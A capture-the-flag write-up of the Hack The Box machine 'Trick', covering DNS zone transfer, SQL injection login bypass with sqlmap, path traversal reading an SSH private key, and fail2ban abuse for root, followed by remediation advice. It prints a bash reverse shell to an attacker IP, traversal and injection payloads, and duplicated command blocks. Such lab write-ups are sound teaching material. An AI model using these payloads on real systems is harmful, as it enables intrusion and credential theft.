November 1, 2026
HTB: Trick
Overview
By Danieltruong
8 min read
Overview
A DNS zone transfer on a pre-production domain reveals a hidden vhost running a SQL-injectable employee payroll login. SQLMap confirms FILE privileges, allowing arbitrary file reads that expose a second vhost's nginx config — which has a local file inclusion/path traversal flaw used to steal an SSH private key. From there, a narrowly scoped sudo rule over fail2ban is abused by swapping its ban action to execute a reverse shell, triggered by intentionally getting banned, landing root.
Highly recommend the walkthrough by Ippsec as he explained different approaches to this lab, which is incredible! Here is the link: https://www.youtube.com/watch?v=ai98umjeO8M&list=PLidcsTyj9JXItWpbRtTg6aDEj10_F17x5&index=17
Recon
Ports and Services Scan
We started the testing with a full ports scan on the target, revealing 4 open ports running SSH, SMTP, DNS and HTTP services.
Starting Nmap 7.99 ( https://nmap.org ) at 2026-11-01 12:46 -0500
Nmap scan report for 10.129.227.180
Host is up (0.028s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)
| 256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
|_ 256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
25/tcp open smtp?
|_smtp-commands: Couldn't establish connection on port 25
53/tcp open domain ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid:
|_ bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open http nginx 1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
|_http-server-header: nginx/1.14.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 251.79 secondsStarting Nmap 7.99 ( https://nmap.org ) at 2026-11-01 12:46 -0500
Nmap scan report for 10.129.227.180
Host is up (0.028s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)
| 256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
|_ 256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
25/tcp open smtp?
|_smtp-commands: Couldn't establish connection on port 25
53/tcp open domain ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid:
|_ bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open http nginx 1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
|_http-server-header: nginx/1.14.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 251.79 secondsWeb Application
Accessing the Web App on port 80 revealed a pre-production web app with no functionality except for registering emails. The form was inactive so there was not thing much to work with.
And since we did not get a domain name from the nmap scan, we could not perform any subdomain — vhost scan yet.
Dir Fuzz
Directory Fuzzing revealed nothing interesting.
┌──(dani㉿kali)-[~/project/trick/Scans/Nmap]
└─$ ffuf -u http://10.129.227.180/FUZZ -w /opt/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-small.txt -ic -r | tee ../Web/dir_fuzz.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.129.227.180/FUZZ
:: Wordlist : FUZZ: /opt/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-small.txt
:: Follow redirects : true
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
[Status: 200, Size: 5480, Words: 1697, Lines: 84, Duration: 33ms]
assets [Status: 403, Size: 169, Words: 4, Lines: 8, Duration: 28ms]
css [Status: 403, Size: 169, Words: 4, Lines: 8, Duration: 25ms]
js [Status: 403, Size: 169, Words: 4, Lines: 8, Duration: 34ms]
[Status: 200, Size: 5480, Words: 1697, Lines: 84, Duration: 29ms]
:: Progress: [87651/87651] :: Job [1/1] :: 809 req/sec :: Duration: [0:01:17] :: Errors: 0 ::┌──(dani㉿kali)-[~/project/trick/Scans/Nmap]
└─$ ffuf -u http://10.129.227.180/FUZZ -w /opt/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-small.txt -ic -r | tee ../Web/dir_fuzz.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.129.227.180/FUZZ
:: Wordlist : FUZZ: /opt/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-small.txt
:: Follow redirects : true
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
[Status: 200, Size: 5480, Words: 1697, Lines: 84, Duration: 33ms]
assets [Status: 403, Size: 169, Words: 4, Lines: 8, Duration: 28ms]
css [Status: 403, Size: 169, Words: 4, Lines: 8, Duration: 25ms]
js [Status: 403, Size: 169, Words: 4, Lines: 8, Duration: 34ms]
[Status: 200, Size: 5480, Words: 1697, Lines: 84, Duration: 29ms]
:: Progress: [87651/87651] :: Job [1/1] :: 809 req/sec :: Duration: [0:01:17] :: Errors: 0 ::DNS
Reverse DNS Lookup revealed the domain hostname -> DNS Transfer revealed 2 vhosts on the server: root.trick.htb and preprod-payroll.trick.htb
┌──(dani㉿kali)-[~/project/trick/Scans/Nmap]
└─$ dig -x 10.129.227.180 @10.129.227.180
<SNIP>
;; ANSWER SECTION:
180.227.129.10.in-addr.arpa. 604800 IN PTR trick.htb.
;; AUTHORITY SECTION:
227.129.10.in-addr.arpa. 604800 IN NS trick.htb.
;; ADDITIONAL SECTION:
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1
<SNIP>
┌──(dani㉿kali)-[~/project/trick/Scans/Nmap]
└─$ dig any trick.htb @10.129.227.180
<SNIP>
;trick.htb. IN ANY
;; ANSWER SECTION:
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb. 604800 IN NS trick.htb.
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1
<SNIP>
┌──(dani㉿kali)-[~/project/trick/Scans/Nmap]
└─$ dig axfr trick.htb @10.129.227.180
; <<>> DiG 9.20.29-1-Debian <<>> axfr trick.htb @10.129.227.180
; (1 server found)
;; global options: +cmd
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb. 604800 IN NS trick.htb.
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1
preprod-payroll.trick.htb. 604800 IN CNAME trick.htb.
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
<SNIP>┌──(dani㉿kali)-[~/project/trick/Scans/Nmap]
└─$ dig -x 10.129.227.180 @10.129.227.180
<SNIP>
;; ANSWER SECTION:
180.227.129.10.in-addr.arpa. 604800 IN PTR trick.htb.
;; AUTHORITY SECTION:
227.129.10.in-addr.arpa. 604800 IN NS trick.htb.
;; ADDITIONAL SECTION:
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1
<SNIP>
┌──(dani㉿kali)-[~/project/trick/Scans/Nmap]
└─$ dig any trick.htb @10.129.227.180
<SNIP>
;trick.htb. IN ANY
;; ANSWER SECTION:
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb. 604800 IN NS trick.htb.
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1
<SNIP>
┌──(dani㉿kali)-[~/project/trick/Scans/Nmap]
└─$ dig axfr trick.htb @10.129.227.180
; <<>> DiG 9.20.29-1-Debian <<>> axfr trick.htb @10.129.227.180
; (1 server found)
;; global options: +cmd
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb. 604800 IN NS trick.htb.
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1
preprod-payroll.trick.htb. 604800 IN CNAME trick.htb.
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
<SNIP>Initial Foothold
Authentication Bypass
Accessing the newly found vhost preprod-payroll.trick.htb revealed it was an employee payment platform with a login form welcoming us. Tried a typical SQL injection on the form proved that it was indeed vulnerable.
username: ' OR 1=1 — -
Roaming around the platform revealed 2 usernames:
- Enemigosss
- John Smith (an employee)
We also could view the admin credential
SQL injection and Beyond
Knowing that the login POST request is vulnerable to SQL injection, we could copy the request and try to mess around further using sqlmap .
The request:
POST /ajax.php?action=login HTTP/1.1
Host: preprod-payroll.trick.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 52
Origin: http://preprod-payroll.trick.htb
Connection: keep-alive
Referer: http://preprod-payroll.trick.htb/login.php
Cookie: PHPSESSID=urbk6bjubbm6gruftahjpemebr
Priority: u=0
username=test*&password=asdPOST /ajax.php?action=login HTTP/1.1
Host: preprod-payroll.trick.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 52
Origin: http://preprod-payroll.trick.htb
Connection: keep-alive
Referer: http://preprod-payroll.trick.htb/login.php
Cookie: PHPSESSID=urbk6bjubbm6gruftahjpemebr
Priority: u=0
username=test*&password=asdUsing sqlmap to dump databases' names
└─$ sqlmap -r SQLinject.req --batch --dbs
<SNIP>
[14:11:11] [INFO] adjusting time delay to 1 second due to good response times
2
[14:11:12] [INFO] retrieved: information_schema
[14:12:14] [INFO] retrieved: payroll_db
available databases [2]:
[*] information_schema
[*] payroll_db
[14:12:53] [INFO] fetched data logged to text files under '/home/dani/.local/share/sqlmap/output/preprod-payroll.trick.htb'
[*] ending @ 14:12:53 /2026-11-01/└─$ sqlmap -r SQLinject.req --batch --dbs
<SNIP>
[14:11:11] [INFO] adjusting time delay to 1 second due to good response times
2
[14:11:12] [INFO] retrieved: information_schema
[14:12:14] [INFO] retrieved: payroll_db
available databases [2]:
[*] information_schema
[*] payroll_db
[14:12:53] [INFO] fetched data logged to text files under '/home/dani/.local/share/sqlmap/output/preprod-payroll.trick.htb'
[*] ending @ 14:12:53 /2026-11-01/Discover privileges
Another thing we could perform with sqlmap is enumerating the DB user privileges
└─$ sqlmap -r SQLinject.req --batch --privileges
<SNIP>
[14:20:31] [INFO] fetching number of privileges for user 'remo'
[14:20:31] [INFO] retrieved: 1
[14:20:33] [INFO] fetching privileges for user 'remo'
[14:20:33] [INFO] retrieved: FILE
database management system users privileges:
[*] remo [1]:
privilege: FILE└─$ sqlmap -r SQLinject.req --batch --privileges
<SNIP>
[14:20:31] [INFO] fetching number of privileges for user 'remo'
[14:20:31] [INFO] retrieved: 1
[14:20:33] [INFO] fetching privileges for user 'remo'
[14:20:33] [INFO] retrieved: FILE
database management system users privileges:
[*] remo [1]:
privilege: FILEAnd since we had FILE privilege, we can read local file on the server! Using this we can read the nginx server config file (/etc/nginx/sitesenabled/default) with a different vhost revealed.
<SNIP>
server {
listen 80;
listen [::]:80;
server_name preprod-marketing.trick.htb;
<SNIP><SNIP>
server {
listen 80;
listen [::]:80;
server_name preprod-marketing.trick.htb;
<SNIP>Path Traversal
Accessing this vhost, we could see that the way it fetched each endpoint is using a parameter page
http://preprod-marketing.trick.htb/index.php?page=services.html
Trying to read local files, we managed to read them by using the double trick ....// . With this, we managed to read other local files such as /etc/passwd
Also with this, we can read michael private SSH key, and used that to ssh into the server as michael.
┌──(dani㉿kali)-[~/project/trick/Findings]
└─$ curl http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//home/michael/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
<SNIP>
IJhaN0D5bVMdjjFHAAAADW1pY2hhZWxAdHJpY2sBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----
┌──(dani㉿kali)-[~/project/trick/Findings]
└─$ ssh -i id_rsa_michael michael@trick.htb
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Linux trick 4.19.0-20-amd64 #1 SMP Debian 4.19.235-1 (2022-03-17) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
michael@trick:~$ id
uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security)┌──(dani㉿kali)-[~/project/trick/Findings]
└─$ curl http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//home/michael/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
<SNIP>
IJhaN0D5bVMdjjFHAAAADW1pY2hhZWxAdHJpY2sBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----
┌──(dani㉿kali)-[~/project/trick/Findings]
└─$ ssh -i id_rsa_michael michael@trick.htb
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Linux trick 4.19.0-20-amd64 #1 SMP Debian 4.19.235-1 (2022-03-17) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
michael@trick:~$ id
uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security)Privilege Escalation
With a shell as michael on the server, we could start enumerating other internal services or paths to escalate our privilege. One of the way to get ourselves to root was through sudo
michael@trick:~/$ sudo -l
Matching Defaults entries for michael on trick:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User michael may run the following commands on trick:
(root) NOPASSWD: /etc/init.d/fail2ban restartmichael@trick:~/$ sudo -l
Matching Defaults entries for michael on trick:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User michael may run the following commands on trick:
(root) NOPASSWD: /etc/init.d/fail2ban restartSince we could restart the fail2ban instance, the thought was to restart the service with new commands execution that can establish the root shell back to us. So the question is can we change the command executed by fail2ban, if so, which one?
Checking fail2ban directory at /etc/fail2ban/ , we could see that the action.d can modified by group security, which included michael
michael@trick:/etc/fail2ban$ ls -la
total 76
drwxr-xr-x 6 root root 4096 Nov 1 23:54 .
drwxr-xr-x 126 root root 12288 Nov 1 23:48 ..
drwxrwx--- 2 root security 4096 Nov 1 23:54 action.d
-rw-r--r-- 1 root root 2334 Nov 1 23:54 fail2ban.conf
drwxr-xr-x 2 root root 4096 Nov 1 23:54 fail2ban.d
drwxr-xr-x 3 root root 4096 Nov 1 23:54 filter.d
-rw-r--r-- 1 root root 22908 Nov 1 23:54 jail.conf
drwxr-xr-x 2 root root 4096 Nov 1 23:54 jail.d
-rw-r--r-- 1 root root 645 Nov 1 23:54 paths-arch.conf
-rw-r--r-- 1 root root 2827 Nov 1 23:54 paths-common.conf
-rw-r--r-- 1 root root 573 Nov 1 23:54 paths-debian.conf
-rw-r--r-- 1 root root 738 Nov 1 23:54 paths-opensuse.confmichael@trick:/etc/fail2ban$ ls -la
total 76
drwxr-xr-x 6 root root 4096 Nov 1 23:54 .
drwxr-xr-x 126 root root 12288 Nov 1 23:48 ..
drwxrwx--- 2 root security 4096 Nov 1 23:54 action.d
-rw-r--r-- 1 root root 2334 Nov 1 23:54 fail2ban.conf
drwxr-xr-x 2 root root 4096 Nov 1 23:54 fail2ban.d
drwxr-xr-x 3 root root 4096 Nov 1 23:54 filter.d
-rw-r--r-- 1 root root 22908 Nov 1 23:54 jail.conf
drwxr-xr-x 2 root root 4096 Nov 1 23:54 jail.d
-rw-r--r-- 1 root root 645 Nov 1 23:54 paths-arch.conf
-rw-r--r-- 1 root root 2827 Nov 1 23:54 paths-common.conf
-rw-r--r-- 1 root root 573 Nov 1 23:54 paths-debian.conf
-rw-r--r-- 1 root root 738 Nov 1 23:54 paths-opensuse.confIn that case, the action by fail2ban can be modified by michael. The trick is to replace the old ban commands with new one that execute the shell, so here is the steps:
- Open up a listener on our machine with
nc -lvnp 1234 - On the
michaelshell, create a bash script to execute the shell at /tmp/shell.sh:
#!/bin/bash
bash -i >& /dev/tcp/<ATTACKER_IP>/1234 0>&1'#!/bin/bash
bash -i >& /dev/tcp/<ATTACKER_IP>/1234 0>&1'- Allow execution of the script:
chmod +x /tmp/shell.sh - Since we cant directly modify the action files within the
action.ddir, we will make a copy of it so that we have ownership over the new one. The one we will focus on is theiptables-multiport.conf
michael@trick:/etc/fail2ban/action.d$ mv iptables-multiport.conf iptables-multiport.conf.bak
michael@trick:/etc/fail2ban/action.d$ cp iptables-multiport.conf.bak iptables-multiport.conf
michael@trick:/etc/fail2ban/action.d$ ls -la iptables-multiport.conf
-rw-r--r-- 1 michael michael 1420 Nov 1 23:58 iptables-multiport.conf
michael@trick:/etc/fail2ban/action.d$michael@trick:/etc/fail2ban/action.d$ mv iptables-multiport.conf iptables-multiport.conf.bak
michael@trick:/etc/fail2ban/action.d$ cp iptables-multiport.conf.bak iptables-multiport.conf
michael@trick:/etc/fail2ban/action.d$ ls -la iptables-multiport.conf
-rw-r--r-- 1 michael michael 1420 Nov 1 23:58 iptables-multiport.conf
michael@trick:/etc/fail2ban/action.d$- Modify the
actionbaninside that file into/tmp/shell.sh
- And get ourselves banned! by attempting to ssh into the server with incorrect passwords a couple of time
And with that, we landed inside the server as root!
Attack Chain
- Recon: Nmap finds SSH, SMTP, DNS, and HTTP. The port 80 site is a stub "coming soon" page.
- DNS Zone Transfer:
dig axfr trick.htb @targetsucceeds unauthenticated, revealing a hidden vhost:preprod-payroll.trick.htb. - SQL Injection (Auth Bypass): The payroll login's username field is injectable (
' OR 1=1 - -), bypassing login entirely. - SQLMap → FILE Privilege: The vulnerable login POST is fed to
sqlmap, confirming the DB userremoholdsFILEprivilege — enabling arbitrary local file reads via SQL. - Config Leak → New Vhost: Reading nginx's site config via the FILE privilege reveals a third vhost:
preprod-marketing.trick.htb. - Path Traversal → SSH Key Theft: That vhost's
?page=parameter is vulnerable to path traversal (....// bypass), used to read/home/michael/.ssh/id_rsadirectly. - Foothold: The stolen key grants SSH access as
michael. - Privilege Escalation:
sudo -lshows passwordless rights to restartfail2ban.michael'ssecuritygroup membership grants write access to/etc/fail2ban/action.d/. Theiptables-multiport.confaction file is replaced (via a writable copy) so its ban action executes a reverse-shell script instead of an iptables rule. - Trigger & Root: Intentionally failing SSH logins triggers a fail2ban ban event, executing the malicious action as root and returning a root shell.
Remediation Plan
Immediate Actions
- Disable Unauthenticated Zone Transfers: Restrict AXFR to authorized secondary DNS servers only.
- Fix the SQL Injection: Use parameterized queries/prepared statements for the payroll login; don't build SQL from raw POST input.
- Restrict Database Privileges: Remove
FILEprivilege from application-facing DB accounts; it should never be needed by a web app's login flow.
Short-Term & Strategic Actions
- Patch the Path Traversal/LFI: Sanitize and whitelist the
pageparameter on the marketing site; never pass user input directly into a file path. - Protect Private Keys: Restrict SSH key file permissions and avoid storing them in web-accessible or broadly readable locations.
- Scope Sudo and Group Permissions Tightly: Don't grant write access over service config/action directories (like
fail2ban'saction.d) to non-admin groups; auditsudo -lrules for unintended command-chaining abuse.